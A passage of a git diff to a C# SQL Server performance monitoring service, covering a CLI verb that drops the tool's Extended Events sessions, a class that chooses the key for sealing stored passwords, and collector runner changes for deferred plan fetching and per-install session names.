         "      Connect to the named server (resolved from the configuration exactly as --validate-config resolves it) and drop the" + Environment.NewLine +
-        $"      Darling Extended Events sessions on it: {DarlingXeSessionCleanup.SessionNamesPhrase()}, server scope, and on" + Environment.NewLine +
-        "      Azure SQL Database the database-scoped copies in each monitored database. --dry-run lists them and drops nothing." + Environment.NewLine +
-        "      Run it just before you remove the server (it finds only a server this service still monitors, and stops that server's deadlock and blocked-process capture until this service reconnects); after the removal, use --print-sql." + Environment.NewLine +
+        $"      Darling Extended Events sessions on it: {DarlingXeSessionCleanup.SessionNamesPhrase()}, and this install's own, server scope, and on" + Environment.NewLine +
+        "      Azure SQL Database the database-scoped copies in each monitored database, and for the long query completions session in the" + Environment.NewLine +
+        "      databases the server excludes too (not in a database another registration of the server keeps it in, by that registration's long query setting). --dry-run lists them and drops nothing." + Environment.NewLine +
+        "      Elsewhere it leaves this install's long query session in place, with a note, when another registration of this install on the same instance keeps it." + Environment.NewLine +
+        "      It lists the sessions of other installs with a guarded DROP statement and never drops them." + Environment.NewLine +
+        "      An excluded database that cannot be opened is reported as a note and does not change the exit code (a session left in it needs a manual drop); a monitored database that cannot be opened exits 2." + Environment.NewLine +
+        "      Removing a server drops only this install's own sessions. Run it just before you remove the server to drop the shared ones too (it finds only a server this service still monitors, and stops that server's deadlock and blocked-process capture until this service reconnects); after the removal, use --print-sql." + Environment.NewLine +
         "  --drop-xe-sessions --print-sql" + Environment.NewLine +
-        "      Print guarded DROP statements for each of those sessions in both scopes and connect to nothing, for a server that is no longer configured." + Environment.NewLine +
+        "      Print guarded DROP statements for the shared sessions, and a query that lists every install's sessions with their DROP statements, in both scopes, and connect to nothing, for a server that is no longer configured." + Environment.NewLine +
         "Credentials come only from the configuration, never from arguments.";
 
     /// <summary>
@@ -6050,22 +6914,24 @@ public static Task<int> DropXeSessionsAsync(
         string[] rest, TextWriter output, TextWriter error, CancellationToken cancellationToken) =>
         DropXeSessionsAsync(rest, ConnectXeSessionCleanupTargetAsync, output, error, cancellationToken);
 
-    /// <summary>The connector the public verb uses: the shared server connector, wrapped as the cleanup target. Throws when the
-    /// server cannot be reached.</summary>
+    /// <summary>The connector the public verb uses: the shared server connector, wrapped as the cleanup target, with the servers
+    /// the verb resolved the target in so the target knows the other registrations of an Azure SQL Database server. Throws when
+    /// the server cannot be reached.</summary>
     private static async Task<IXeSessionCleanupTarget> ConnectXeSessionCleanupTargetAsync(
-        MonitoredServer server, CancellationToken cancellationToken)
+        MonitoredServer server, IReadOnlyList<MonitoredServer> registry, XeCleanupStoreFacts facts, CancellationToken cancellationToken)
     {
         var runtime = await DarlingServerConnector.ConnectAsync(server, logger: null, cancellationToken);
-        return new SqlServerXeSessionCleanupTarget(runtime);
+        return new SqlServerXeSessionCleanupTarget(runtime, sessionNames: null, registry, facts);
     }
 
     /// <summary>The verb with the connection injected, so a test drives the connect-and-drop path without a SQL Server.</summary>
     internal static async Task<int> DropXeSessionsAsync(
         string[] rest,
-        Func<MonitoredServer, CancellationToken, Task<IXeSessionCleanupTarget>> connect,
+        Func<MonitoredServer, IReadOnlyList<MonitoredServer>, XeCleanupStoreFacts, CancellationToken, Task<IXeSessionCleanupTarget>> connect,
         TextWriter output,
         TextWriter error,
-        CancellationToken cancellationToken)
+        CancellationToken cancellationToken,
+        Func<DarlingConfig, CancellationToken, Task<XeCleanupStoreFacts>>? readStoreFacts = null)
     {
         if (!TryParseDropXeSessionsArgs(rest, out var serverName, out var dryRun, out var printSql, out var configPath, out var argError))
         {
@@ -6146,10 +7012,12 @@ internal static async Task<int> DropXeSessionsAsync(
             return DropXeSessionsExitCode.Success;
         }
 
+        var facts = await (readStoreFacts ?? ReadXeCleanupStoreFactsAsync)(config, cancellationToken);
+
         IXeSessionCleanupTarget target;
         try
         {
-            target = await connect(server, cancellationToken);
+            target = await connect(server, targets, facts, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -6158,7 +7026,112 @@ internal static async Task<int> DropXeSessionsAsync(
             return DropXeSessionsExitCode.TargetUnavailable;
         }
 
-        return await DarlingXeSessionCleanup.RunAsync(server.DisplayName, dryRun, target, output, error, cancellationToken);
+        return await DarlingXeSessionCleanup.RunAsync(server.DisplayName, dryRun, target, output, error, cancellationToken, facts.InstallId);
+    }
+
+    /// <summary>
+    /// What <c>--drop-xe-sessions</c> reads from the store before it connects to the server (#4961): this install's id
+    /// (<see cref="StoreInstallId.TryReadAsync(NpgsqlConnection, CancellationToken)"/>, which only reads: the service makes the row),
+    /// the long-query schedule rows, so another registration's setting is its effective one, and each registration's last-known
+    /// instance name. A store that cannot be reached, or holds no id, gives no id and the verb handles no install's sessions. A
+    /// store that gives the id but not the schedules or names gives them as unknown, which the guards read as "kept".
+    /// </summary>
+    private static async Task<XeCleanupStoreFacts> ReadXeCleanupStoreFactsAsync(DarlingConfig config, CancellationToken cancellationToken)
+    {
+        if (!TryBuildStoreConnectionString(config.Postgres, out var connectionString, out _) || string.IsNullOrWhiteSpace(connectionString))
+        {
+            return new XeCleanupStoreFacts(null, Note: "no store connection is configured");
+        }
+
+        try
+        {
+            await using var connection = new NpgsqlConnection(
+                DarlingStoreConnection.PinSessionTimeZoneUtc(
+                    DarlingStoreConnection.WithApplicationName(connectionString, DarlingManagedPostgres.CliApplicationName)));
+            await connection.OpenAsync(cancellationToken);
+            var installId = await StoreInstallId.TryReadAsync(connection, cancellationToken);
+
+            IReadOnlyList<ScheduleOverride>? overrides = null;
+            IReadOnlyDictionary<int, string>? names = null;
+            try
+            {
+                overrides = await ReadLongQueryScheduleRowsAsync(connection, cancellationToken);
+                names = await ReadInstanceNamesAsync(connection, cancellationToken);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                overrides = null;
+                names = null;
+            }
+
+            return new XeCleanupStoreFacts(installId, overrides, names, installId is null ? "the store holds no install id" : null);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return new XeCleanupStoreFacts(null, Note: ex.Message);
+        }
+    }
+
+    private static async Task<IReadOnlyList<ScheduleOverride>> ReadLongQueryScheduleRowsAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        var rows = new List<ScheduleOverride>();
+        await using var command = new NpgsqlCommand(@"
+SELECT cs.server_id, cs.collector_name, cs.frequency_minutes, cs.retention_days, cs.enabled, cs.databases
+FROM config.config_collector_schedules AS cs
+WHERE cs.collector_name = 'long_query_completions'", connection) { CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds };
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            rows.Add(new ScheduleOverride(
+                reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                reader.GetString(1),
+                reader.IsDBNull(2) ? null : reader.GetInt32(2),
+                reader.IsDBNull(3) ? null : reader.GetInt32(3),
+                reader.GetBoolean(4),
+                reader.IsDBNull(5) ? null : reader.GetFieldValue<string[]>(5)));
+        }
+
+        return rows;
+    }
+
+    private static async Task<IReadOnlyDictionary<int, string>> ReadInstanceNamesAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        var carriers = new Dictionary<int, Dictionary<string, string>>();
+        await using var command = new NpgsqlCommand(@"
+SELECT cst.server_id, cst.collector_name, cst.state_value
+FROM collect.collector_state AS cst
+WHERE cst.state_key = $1
+AND   cst.collector_name = ANY($2)", connection) { CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds };
+        command.Parameters.Add(new NpgsqlParameter { Value = ServerEpoch.IdentityStateKey });
+        command.Parameters.Add(new NpgsqlParameter { Value = ServerEpoch.IdentityCarrierCollectors.ToArray() });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var serverId = reader.GetInt32(0);
+            if (!carriers.TryGetValue(serverId, out var byCarrier))
+            {
+                carriers[serverId] = byCarrier = new Dictionary<string, string>(StringComparer.Ordinal);
+            }
+
+            byCarrier[reader.GetString(1)] = reader.GetString(2);
+        }
+
+        var names = new Dictionary<int, string>();
+        foreach (var (serverId, byCarrier) in carriers)
+        {
+            /* The carriers in the order a reader tries them: the first whose state holds a name decides. */
+            foreach (var carrier in ServerEpoch.IdentityCarrierCollectors)
+            {
+                if (byCarrier.TryGetValue(carrier, out var text)
+                    && ServerEpoch.LastKnownName(new Dictionary<string, string> { [ServerEpoch.IdentityStateKey] = text }) is { } name)
+                {
+                    names[serverId] = name;
+                    break;
+                }
+            }
+        }
+
+        return names;
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingCliSealKey.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingCliSealKey.cs
new file mode 100644
index 0000000000..3a35b9dc8b
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingCliSealKey.cs
@@ -0,0 +1,231 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The key <c>--add-server</c> seals a password with (#5366). The verb runs beside the service on the same host, so it
+/// reads the key file the service keeps (read only, never generating or changing it) and uses it when it opens and its
+/// public half is the key the store publishes. When the file cannot be read it seals to the key the store publishes,
+/// provided the published key id is the one its bytes give and the service's newest state row says the key is healthy;
+/// it then prints the key id so the operator can check it against the service log.
+/// </summary>
+internal static class DarlingCliSealKey
+{
+    /// <summary>What the key source decided: a ring to seal with, or the sentence to refuse a literal password with.</summary>
+    internal sealed record Decision(IPasswordKeyRing Ring, string? Notice);
+
+    /// <summary>The sentence a published-only seal prints after it has sealed a password.</summary>
+    internal static string NoticeFor(string keyId) =>
+        $"Sealed to password key {PasswordSeal.DisplayKeyId(keyId)}. It must match the 'Password key' line in the service log.";
+
+    internal const string NoTablesReason = "This store has no password key tables yet. Update or restart the Darling service, then try again.";
+    internal const string NoKeyReason = "The store has no published password key yet. Start the Darling service once, then try again.";
+    internal const string InvalidKeyReason = "The password key the store publishes is not valid, so no password can be sealed to it.";
+    internal const string NoStateReason = "The Darling service has not reported the state of its password key yet. Start the service, then try again.";
+    internal const string FileMismatchReason =
+        "The password key on this host is not the key the store publishes. Check the 'Password key' line in the service log.";
+
+    internal static string StateReason(PasswordKeyServiceState state)
+    {
+        var note = string.IsNullOrWhiteSpace(state.Note) ? "" : " " + state.Note.Trim();
+        return $"The Darling service reports its password key as {state.State}.{note}";
+    }
+
+    /// <summary>
+    /// Reads the key file (when the directory can be resolved) and the store's published key and state on the owner
+    /// connection, then <see cref="Decide"/>. Never throws for anything the file system or the store can do: the answer is a
+    /// refusing ring with the reason.
+    /// </summary>
+    internal static async Task<Decision> ResolveAsync(
+        DarlingConfig config, string? configPath, NpgsqlDataSource postgres, ILogger? logger, CancellationToken ct)
+    {
+        PublishedPasswordKey? published;
+        PasswordKeyServiceState? state;
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(ct).ConfigureAwait(false);
+            published = await PasswordKeyTables.ReadCurrentAsync(connection, ct).ConfigureAwait(false);
+            state = await PasswordKeyTables.ReadNewestServiceStateAsync(connection, ct).ConfigureAwait(false);
+        }
+        catch (PostgresException ex) when (ex.SqlState == "42P01")
+        {
+            return Refused(NoTablesReason);
+        }
+
+        byte[]? pkcs8 = null;
+        try
+        {
+            try
+            {
+                if (configPath is not null)
+                {
+                    var directory = DarlingLogHashKeyFile.DirectoryFor(config, configPath);
+                    var load = DarlingPasswordKeyFile.Load(directory, logger ?? NullLogger.Instance);
+                    pkcs8 = load.Pkcs8;
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                pkcs8 = null;
+            }
+
+            return Decide(published, state, pkcs8);
+        }
+        finally
+        {
+            if (pkcs8 is not null)
+            {
+                CryptographicOperations.ZeroMemory(pkcs8);
+            }
+        }
+    }
+
+    /// <summary>
+    /// PURE: the rule over what was read. A key file that opens is used when its public half equals the published key (a
+    /// different one is refused); with no usable file the published key is used when its id is the one its bytes give and
+    /// the service's newest state row is <c>ok</c>.
+    /// </summary>
+    internal static Decision Decide(PublishedPasswordKey? published, PasswordKeyServiceState? state, byte[]? filePkcs8)
+    {
+        if (published is null)
+        {
+            return Refused(NoKeyReason);
+        }
+
+        PasswordPublicKey publicKey;
+        try
+        {
+            if (!string.Equals(PasswordSeal.KeyIdFor(published.Spki), published.KeyId, StringComparison.Ordinal))
+            {
+                return Refused(InvalidKeyReason);
+            }
+
+            publicKey = PasswordPublicKey.FromSpki(published.Spki);
+        }
+        catch (PasswordSealException)
+        {
+            return Refused(InvalidKeyReason);
+        }
+
+        if (filePkcs8 is not null)
+        {
+            try
+            {
+                var fileKey = PasswordPrivateKey.FromPkcs8(filePkcs8);
+                if (!fileKey.PublicKey.Spki.AsSpan().SequenceEqual(published.Spki))
+                {
+                    fileKey.Dispose();
+                    return Refused(FileMismatchReason);
+                }
+
+                return new Decision(DarlingPasswordKey.FromPrivateKey(fileKey), null);
+            }
+            catch (Exception ex) when (ex is PasswordSealException or CryptographicException or ArgumentException)
+            {
+                /* A file that cannot be parsed is the same as no file here: the published key is judged on its own. */
+            }
+        }
+
+        if (state is null)
+        {
+            return Refused(NoStateReason);
+        }
+
+        if (!string.Equals(state.State, "ok", StringComparison.Ordinal))
+        {
+            return Refused(StateReason(state));
+        }
+
+        /* #5366: the state row must be about the key that is published now; a row that names another key says
+           nothing about this one. */
+        if (!string.Equals(state.KeyId, published.KeyId, StringComparison.Ordinal))
+        {
+            return Refused(NoStateReason);
+        }
+
+        return new Decision(new PublishedKeyRing(publicKey), NoticeFor(publicKey.KeyId));
+    }
+
+    /// <summary>
+    /// The ring a diagnostics bundle opens sealed webhook values with when the service is not the one making it: the key
+    /// file read only (never generated or changed), or null when there is no directory, no file, or the file cannot be
+    /// read. The in-process ring is used instead when it holds a key.
+    /// </summary>
+    internal static IPasswordKeyRing? TryOpenFileRing(DarlingConfig config, string? configPath, ILogger? logger)
+    {
+        if (DarlingPasswordKey.Current.Status.CanSeal)
+        {
+            return DarlingPasswordKey.Current;
+        }
+
+        byte[]? pkcs8 = null;
+        try
+        {
+            if (configPath is null)
+            {
+                return null;
+            }
+
+            var directory = DarlingLogHashKeyFile.DirectoryFor(config, configPath);
+            pkcs8 = DarlingPasswordKeyFile.Load(directory, logger ?? NullLogger.Instance).Pkcs8;
+            return pkcs8 is null ? null : DarlingPasswordKey.FromPrivateKey(PasswordPrivateKey.FromPkcs8(pkcs8));
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return null;
+        }
+        finally
+        {
+            if (pkcs8 is not null)
+            {
+                CryptographicOperations.ZeroMemory(pkcs8);
+            }
+        }
+    }
+
+    private static Decision Refused(string reason) => new(DarlingPasswordKey.Refusing(reason), null);
+
+    /// <summary>A ring that seals to a public key and cannot open anything. Counts what it sealed, so the verb prints
+    /// the key id only when a password was sealed.</summary>
+    internal sealed class PublishedKeyRing : IPasswordKeyRing
+    {
+        private readonly PasswordPublicKey _key;
+        private int _sealed;
+
+        public PublishedKeyRing(PasswordPublicKey key)
+        {
+            _key = key;
+            Status = new PasswordKeyStatus(true, null, key.KeyId, key);
+        }
+
+        public PasswordKeyStatus Status { get; }
+
+        /// <summary>How many passwords this ring has sealed.</summary>
+        public int SealedCount => Volatile.Read(ref _sealed);
+
+        public string Seal(string plaintext, PasswordBinding binding)
+        {
+            var text = PasswordSeal.Seal(plaintext, _key, binding);
+            Interlocked.Increment(ref _sealed);
+            return text;
+        }
+
+        public string Open(string sealedText, PasswordBinding binding) =>
+            throw new PasswordSealException(PasswordSealFailure.UnknownKey, PasswordSeal.KeyIdOf(sealedText ?? ""));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs
index 23a84da7f4..758649ee52 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs
@@ -381,6 +381,51 @@ cycle without rebuilding the runner. 1 (and anything below) means capture on eve
        all, so it is unaffected either way. */
     private readonly Func<int> _procedureStatsPlanCycleInterval;
 
+    /* #5158: whether query_stats defers its plan fetch (darling.json "queryStatsDeferredPlanFetch", default true).
+       Off gives the inline plan capture exactly as before. Read through a provider on every cycle, but a file-only
+       knob: darling.json is loaded once at start and nothing re-reads it, so an edit takes effect on the next
+       RESTART. */
+    private readonly Func<bool> _queryStatsDeferredPlanFetch;
+
+    /* #5158: what this host knows of the statement plans it has already committed, one cache per server and per
+       service lifetime. A restart starts empty (each server renders its plans once more); nothing seeds it from
+       the store, because a probe costs more than the render it would save (#2831). */
+    private readonly ConcurrentDictionary<int, PlanDigestCache<QueryStatsPlanKey>> _queryStatsPlanCaches = new();
+
+    /// <summary>How long a plan identity may go unseen before the host forgets it (#5158).</summary>
+    internal static readonly TimeSpan QueryStatsPlanCacheMaxAge = TimeSpan.FromHours(1);
+
+    /// <summary>
+    /// How long a procedure_stats module-plan identity may go unseen before the host forgets it (#5158). The same
+    /// value as <see cref="QueryStatsPlanCacheMaxAge"/>, named for the collector that uses it so the two can move apart.
+    /// </summary>
+    internal static readonly TimeSpan ProcedureStatsPlanCacheMaxAge = QueryStatsPlanCacheMaxAge;
+
+    /* #5158: procedure_stats' knob (darling.json "procedureStatsDeferredPlanFetch": off | shadow | on), read through a
+       provider like its siblings. Null provider = off, the shipped default. */
+    private readonly Func<string?> _procedureStatsDeferredPlanFetch;
+
+    /* #5158: what this host knows of the module plans it has committed, per server; empty after a restart. */
+    private readonly ConcurrentDictionary<int, PlanDigestCache<ProcedureStatsPlanKey>> _procedureStatsPlanCaches = new();
+
+    /* #5367 review, A-L1: the mode each server's procedure_stats cache was last filled under. A shadow pass digests the
+       plans its rows carry inline, which can be the whole-plan marker; an on pass would answer a hit on that entry with the
+       marker's digest, and the row would store the marker until the entry expired. A switch clears the cache. */
+    private readonly ConcurrentDictionary<int, ProcedureStatsPlanFetchMode> _procedureStatsPlanCacheModes = new();
+
+    /* #5158: how many capture cycles each server has run with the knob on or shadow. The cache's age limit counts these,
+       so a cycle the cadence gate skips does not age an entry. */
+    private readonly ConcurrentDictionary<int, long> _procedureStatsCaptureOrdinals = new();
+
+    /* The unrecognized knob value already warned about, so the warning appears once per value rather than per cycle. */
+    private string? _warnedProcedureStatsPlanFetchValue;
+
+    /// <summary>
+    /// Runs between query_stats' main query and its plan fetch, on the same target connection. A test uses it to
+    /// age a plan out of the cache in that window. Null in production.
+    /// </summary>
+    internal Func<CancellationToken, Task>? BetweenPlanPhasesForTests { get; set; }
+
     /* Resolves the per-collector database scope (#3477) for one (collector, server) pair — the worker
        passes StoreConfigProvider.ResolveDatabaseScope over its live schedule overrides, so a store
        write to config_collector_schedules.databases is honored on the collector's NEXT run through the
@@ -388,6 +433,20 @@ write to config_collector_schedules.databases is honored on the collector's NEXT
        resolved ONCE per run, at dispatch, so one run cannot see two different scopes. Empty = unscoped. */
     private readonly Func<string, int, IReadOnlyList<string>> _databaseScope;
 
+    /* The databases monitored as their own servers, for a runtime on an Azure SQL Database logical server
+       (AzureMasterScope.SeparatelyMonitoredDatabases). Empty for every other runtime. */
+    private readonly Func<ServerRuntime, IReadOnlyList<string>> _separatelyMonitoredDatabases;
+
+    /// <summary>
+    /// The #3477 database scope for one collector on one server: per-server row, then fleet row, then unscoped (empty).
+    /// The same delegate the read loop resolves at dispatch, so the long-query trace's lifecycle and its read cannot
+    /// disagree about which databases are in scope.
+    /// </summary>
+    internal IReadOnlyList<string> DatabaseScopeFor(string collectorName, int serverId) => _databaseScope(collectorName, serverId);
+
+    /// <summary>The databases monitored as their own servers, for this runtime. Empty unless it is an Azure SQL Database logical server.</summary>
+    internal IReadOnlyList<string> SeparatelyMonitoredDatabasesFor(ServerRuntime server) => _separatelyMonitoredDatabases(server);
+
     /// <summary>
     /// Per-(server, collector) cycle counter for the #2862 plan-capture cadence. In-memory, and lost on a
     /// service restart — deliberately, and harmlessly, which is the whole reason this needs no stored
@@ -425,7 +484,8 @@ write to config_collector_schedules.databases is honored on the collector's NEXT
     private readonly ServerWatermarkCache _watermarkCache = new();
 
     /// <summary>
-    /// Exact per-(server, database) Query Store watermark cache for the enumerated per-item path. The
+    /// Exact per-(server, database) Query Store watermark cache for the enumerated per-item path and the
+    /// Azure SQL Database per-database loop (#5514). The
     /// runner is constructed once per service process and the backfill holds this same runner, so the
     /// cache outlives every cycle and sees every writer. See <see cref="DatabaseWatermarkCache"/> for the
     /// hit rule and the single-writer assumption.
@@ -653,6 +713,77 @@ internal static bool ShouldCapturePlanThisCycle(long cycleOrdinal, int serverId,
     internal bool ShouldCapturePlanXmlFor(string collectorName, int serverId) =>
         _capturePlans() && ShouldCapturePlanForCollector(collectorName, serverId);
 
+    /// <summary>
+    /// #5158: whether this run of this collector leaves plan XML out of its main query and fetches it in a
+    /// second target query for only the plans the host has not committed. True for query_stats on a server-scoped
+    /// target that captures plans, with the knob on. Azure SQL Database reads per database through a path with no
+    /// second query, so it keeps the inline capture.
+    /// </summary>
+    internal bool ShouldDeferPlanFetchFor(string collectorName, bool capturePlanXml, CollectorTargetInfo target) =>
+        ShouldDeferPlanFetchFor(collectorName, capturePlanXml, target, ProcedureStatsPlanFetchModeFor(collectorName, target));
+
+    /// <summary>
+    /// The same decision with procedure_stats' mode already resolved, so one run reads the knob and the capture setting
+    /// once (see <see cref="StampPlanFetchFlags"/>).
+    /// </summary>
+    internal bool ShouldDeferPlanFetchFor(
+        string collectorName, bool capturePlanXml, CollectorTargetInfo target, ProcedureStatsPlanFetchMode procedureStatsMode) =>
+        capturePlanXml
+        && ((string.Equals(collectorName, QueryStatsCollector.Instance.Name, StringComparison.Ordinal)
+                && !target.IsAzureSqlDb
+                && _queryStatsDeferredPlanFetch())
+            || procedureStatsMode == ProcedureStatsPlanFetchMode.On);
+
+    /// <summary>
+    /// #5158: the two context flags that describe a run's plan fetch, resolved from ONE read of the knob and of the
+    /// capture setting. The store reloads the capture setting live, so deciding the stamp, the reader close and the apply
+    /// branch from separate reads could disagree inside one run (shadow rows carrying inline plans, then an on-mode fetch
+    /// run on them over an open reader). Everything after the stamp reads the mode back from the context with
+    /// <see cref="ProcedureStatsPlanFetchModes.OfRun"/>.
+    /// </summary>
+    internal (bool DeferPlanXmlFetch, bool PlanIdentityColumns) StampPlanFetchFlags(
+        string collectorName, bool capturePlanXml, CollectorTargetInfo target)
+    {
+        var mode = ProcedureStatsPlanFetchModeFor(collectorName, target);
+        return (
+            ShouldDeferPlanFetchFor(collectorName, capturePlanXml, target, mode),
+            /* Shadow adds the identity columns after the inline plan on a capture cycle; on sends them every cycle, a
+               gated one included, where they stand alone. */
+            mode == ProcedureStatsPlanFetchMode.On
+                || (mode == ProcedureStatsPlanFetchMode.Shadow && capturePlanXml));
+    }
+
+    /// <summary>
+    /// #5158: the procedure_stats plan fetch mode for this run. Off for every other collector, while the host captures
+    /// no plans, and on Azure SQL Database, where whether <c>sys.dm_exec_query_stats</c> lists a module's statements
+    /// is unverified, so the identity could not be trusted there. An unrecognized knob value is off and warns once.
+    /// </summary>
+    internal ProcedureStatsPlanFetchMode ProcedureStatsPlanFetchModeFor(string collectorName, CollectorTargetInfo target)
+    {
+        if (!string.Equals(collectorName, PlanCadenceGatedCollector, StringComparison.Ordinal)
+            || target.IsAzureSqlDb
+            || !_capturePlans())
+        {
+            return ProcedureStatsPlanFetchMode.Off;
+        }
+
+        var value = _procedureStatsDeferredPlanFetch();
+        if (!ProcedureStatsPlanFetchModes.TryParse(value, out var mode))
+        {
+            if (!string.Equals(_warnedProcedureStatsPlanFetchValue, value, StringComparison.Ordinal))
+            {
+                _warnedProcedureStatsPlanFetchValue = value;
+                _logger?.LogWarning(
+                    "procedureStatsDeferredPlanFetch is '{Value}', which is not off, shadow or on; procedure_stats keeps its inline plan capture (#5158).",
+                    value);
+            }
+
+            return ProcedureStatsPlanFetchMode.Off;
+        }
+
+        return mode;
+    }
+
     /// <summary>
     /// The instance side of the #2862 cadence: advances this (server, collector) cycle counter and asks the
     /// pure policy. Returns true unconditionally for every collector except
@@ -694,7 +825,7 @@ private bool ShouldCapturePlanForCollector(string collectorName, int serverId)
     /// every cycle and therefore the pre-#2862 collector. Every existing caller and test keeps the
     /// collector it already had without naming the knob.
     /// </param>
-    public DarlingCollectorRunner(NpgsqlDataSource postgres, CollectorDeltaCalculator deltas, ILogger? logger = null, Func<bool>? capturePlans = null, Func<bool>? collectSchemaChanges = null, Func<int>? textBudgetMb = null, Func<bool>? compressPlanContent = null, Func<int>? procedureStatsPlanCycleInterval = null, Func<string, int, IReadOnlyList<string>>? databaseScope = null, PgLogHashKey? logHashKey = null, QueryStoreWriteFence? queryStoreWriteFence = null)
+    public DarlingCollectorRunner(NpgsqlDataSource postgres, CollectorDeltaCalculator deltas, ILogger? logger = null, Func<bool>? capturePlans = null, Func<bool>? collectSchemaChanges = null, Func<int>? textBudgetMb = null, Func<bool>? compressPlanContent = null, Func<int>? procedureStatsPlanCycleInterval = null, Func<string, int, IReadOnlyList<string>>? databaseScope = null, PgLogHashKey? logHashKey = null, QueryStoreWriteFence? queryStoreWriteFence = null, Func<ServerRuntime, IReadOnlyList<string>>? separatelyMonitoredDatabases = null, Func<string?>? installId = null, Func<bool>? queryStatsDeferredPlanFetch = null, Func<string?>? procedureStatsDeferredPlanFetch = null)
     {
         _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
         _queryStoreWriteFence = queryStoreWriteFence;
@@ -712,9 +843,18 @@ public DarlingCollectorRunner(NpgsqlDataSource postgres, CollectorDeltaCalculato
         _queryStoreIntervalWide = new QueryStoreIntervalWide(logger);
         /* Null provider = 1 = capture a plan on every cycle, i.e. the pre-#2862 behaviour. */
         _procedureStatsPlanCycleInterval = procedureStatsPlanCycleInterval ?? (() => 1);
+        /* Null provider = the deferred plan fetch is on, the shipped default (#5158). */
+        _queryStatsDeferredPlanFetch = queryStatsDeferredPlanFetch ?? (() => true);
+        /* Null provider = procedure_stats keeps its inline plan capture, the shipped default (#5158). */
+        _procedureStatsDeferredPlanFetch = procedureStatsDeferredPlanFetch ?? (() => ProcedureStatsPlanFetchModes.DefaultValue);
         /* Null provider = no scope for any collector = every database the server enumerates, which is
            what Lite's twin and every pre-#3477 test constructs. */
         _databaseScope = databaseScope ?? ((_, _) => Array.Empty<string>());
+        _separatelyMonitoredDatabases = separatelyMonitoredDatabases ?? (_ => Array.Empty<string>());
+        /* #4961: null provider = no install id, so no long-query session can be named (what a test that builds a runner
+           without one gets). The worker passes the id it made at start. */
+        _installId = installId ?? (() => null);
+        _awsRoles = new Targets.AwsRoleCredentialCache(installId: () => _installId(), logger: logger);
         /* #4004: the store's log-hash key, loaded once by the worker at start and shared by every run that hashes log
            text (pg_log_events on both transports). Null = none could be used: those runs refuse, with the reason. */
         _logHashKey = logHashKey;
@@ -722,6 +862,21 @@ what Lite's twin and every pre-#3477 test constructs. */
 
     private readonly PgLogHashKey? _logHashKey;
 
+    private readonly Func<string?> _installId;
+
+    /// <summary>
+    /// This install's id (#4961), or null when the runner was built without one. The long-query session's name is made
+    /// from it: the lifecycle names the session it creates and drops from it, and the read names the session it reads.
+    /// </summary>
+    internal string? InstallId => _installId();
+
+    /// <summary>
+    /// The name of this install's long-query completions session, or null when there is no install id to make it from
+    /// (#4961). Null means no session exists to create, drop or read, and the caller says why as a fault.
+    /// </summary>
+    internal string? LongQuerySessionName() =>
+        LongQueryCompletionsCollector.TryXeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallId);
+
     /// <summary>The store's log-hash key this runner was given (#4004), null when the service could not load one. The
     /// hourly deadlock re-mask reads it here (#4012's review), the one instance every log-hashing run shares.</summary>
     internal PgLogHashKey? LogHashKey => _logHashKey;
@@ -746,6 +901,24 @@ would starve whichever of the two runs second in a cycle. Each needs its own mar
        _rdsPlans/_rdsDeadlocks get: its resume watermark lives in the store, not in this field. */
     private RdsCpuIngestor? _rdsCpu;
 
+    /* One verifier for the four RDS readers: a server's endpoint verdict and its fresh login are made once per lifetime,
+       not once per collector, and ForgetRdsVerdicts clears both when the server's definition changes. */
+    private readonly RdsEndpointVerifier _rdsVerifier = new();
+
+    /* #5452: the assumed-role credentials of every server that names its own AWS role, one session per (role, external ID)
+       however many servers share it. Built beside the verifier and handed to the four RDS readers; the allow list it checks
+       is AwsRoleAllowlist.Current, which the worker sets at start. A server with no role never touches it. */
+    private readonly Targets.AwsRoleCredentialCache _awsRoles;
+
+    /// <summary>Drops the assumed-role sessions that no enabled server names any more (#5452). Called after each reload of the server list.</summary>
+    internal void RetainAwsRoles(IEnumerable<Targets.AwsRoleKey> liveKeys) => _awsRoles.Retain(liveKeys);
+
+    /// <summary>The role-credential cache the RDS readers use, for the tests (#5452).</summary>
+    internal Targets.AwsRoleCredentialCache AwsRoles => _awsRoles;
+
+    /// <summary>Forgets the endpoint verdicts and the fresh login held for <paramref name="serverId"/>: its definition changed.</summary>
+    internal void ForgetRdsVerdicts(int serverId) => _rdsVerifier.ClearServer(serverId);
+
     /// <summary>
     /// #4708: where an RDS log ingestor keeps its positions across a restart - <c>collect.collector_state</c>, under
     /// the collector <paramref name="collectorName"/> and the keys the self-hosted tail already declares
